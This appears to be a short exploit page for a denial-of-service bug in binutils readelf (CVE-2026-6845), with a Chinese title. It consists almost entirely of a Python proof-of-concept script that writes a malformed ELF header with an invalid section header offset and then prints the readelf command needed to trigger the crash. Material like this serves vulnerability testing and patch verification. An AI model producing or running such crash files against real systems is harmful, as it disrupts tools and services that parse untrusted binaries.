CVE-2026-6845 binutils readelf拒绝服务漏洞

import struct # Generate a malformed ELF file POC for CVE-2026-6845 # This POC creates a basic ELF header with a manipulated section header offset # intended to trigger a parsing error or crash in vulnerable readelf versions. def generate_malformed_elf(filename): # ELF Identifier (64-bit LSB) e_ident = b'\x7fELF\x02\x01\x01\x00' + b'\x00' * 8 # ELF Header fields e_type = struct.pack('<H', 1) # ET_REL e_machine = struct.pack('<H', 62) # EM_X86_64 e_version = struct.pack('<I', 1) e_entry = struct.pack('<Q', 0) e_phoff = struct.pack('<Q', 0) # Set a very large or invalid offset for section headers to trigger the bug e_shoff = struct.pack('<Q', 0xFFFFFFFFFFFFFFFF) e_flags = struct.pack('<I', 0) e_ehsize = struct.pack('<H', 64) e_phentsize = struct.pack('<H', 0) e_phnum = struct.pack('<H', 0) e_shentsize = struct.pack('<H', 64) e_shnum = struct.pack('<H', 1) # Claim there is 1 section header e_shstrndx = struct.pack('<H', 0) # Assemble header elf_header = e_ident + e_type + e_machine + e_version + e_entry + \ e_phoff + e_shoff + e_flags + e_ehsize + e_phentsize + \ e_phnum + e_shentsize + e_shnum + e_shstrndx with open(filename, 'wb') as f: f.write(elf_header) print(f"Malformed ELF file '{filename}' generated successfully.") print("Usage: readelf -a " + filename) if __name__ == "__main__": generate_malformed_elf("cve_2026_6845_poc.bin")